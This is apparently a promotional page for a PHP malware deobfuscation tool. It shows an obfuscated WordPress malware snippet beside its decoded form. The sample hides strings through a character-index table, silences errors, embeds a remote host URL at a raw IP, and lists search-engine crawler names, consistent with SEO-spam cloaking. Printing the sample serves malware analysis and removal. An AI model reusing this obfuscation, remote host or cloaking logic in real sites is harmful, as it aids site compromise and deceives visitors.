PHP deobfuscation, decryption, reconstruction tool

De-obfuscate PHP malware/viruses and tampering code on Wordpress to original readable code.

*Please note that not all obfuscation codes can be decoded.

Decoded the code below.

<?php @header('Content-Type:text/html;charset=utf-8'); error_reporting(0); $OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%...

Obfuscated php code

<?php

@header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,";
$oOooOO = 'z0823_7';
$oOooOOoO = "http://198.204.238.74/z0823_7/";

    $var1 = $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[23] . $O[8] . $O[4] . $O[90] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[90] . $O[5] . $O[10] . $O[15] . $O[8] . $O[8] . $O[90] . $O[23] . $O[7] . $O[24] . $O[14] . $O[90] . $O[10] . $O[8] . $O[18];

    $var1 = $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[59] . $O[16] . $O[9] . $O[90] . $O[5] . $O[10] . $O[15] . $O[8] . $O[8] . $O[59] . $O[21] . $O[8] . $O[59] . $O[16] . $O[9] . $O[90] . $O[14] . $O[8] . $O[8] . $O[14] . $O[18] . $O[2] . $O[59] . $O[21] . $O[8] . $O[25];

?>

Decoded(de-Obfuscated) php code

<?php

@header('Content-Type:text/html;charset=utf-8');
error_reporting(0);
$OOOOOO = "%71%77%65%72%74%79%75%69%6f%70%61%73%64%66%67%68%6a%6b%6c%7a%78%63%76%62%6e%6d%51%57%45%52%54%59%55%49%4f%50%41%53%44%46%47%48%4a%4b%4c%5a%58%43%56%42%4e%4d%5f%2d%22%3f%3e%20%3c%2e%2d%3d%3a%2f%31%32%33%30%36%35%34%38%37%39%27%3b%28%29%26%5e%24%5b%5d%5c%5c%25%7b%7d%21%2a%7c%2b%2c";
global $O;
$O = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM_-\"?> <.-=:/1230654879';()&^\$[]\\\\%{}!*|+,";
$oOooOO = 'z0823_7';
$oOooOOoO = "http://198.204.238.74/z0823_7/";
$var1 = "googlebot|google|yahoo|bing|aol";
$var1 = "google.co.jp|yahoo.co.jp|google.com";

Malware detection & removal plugin for WordPress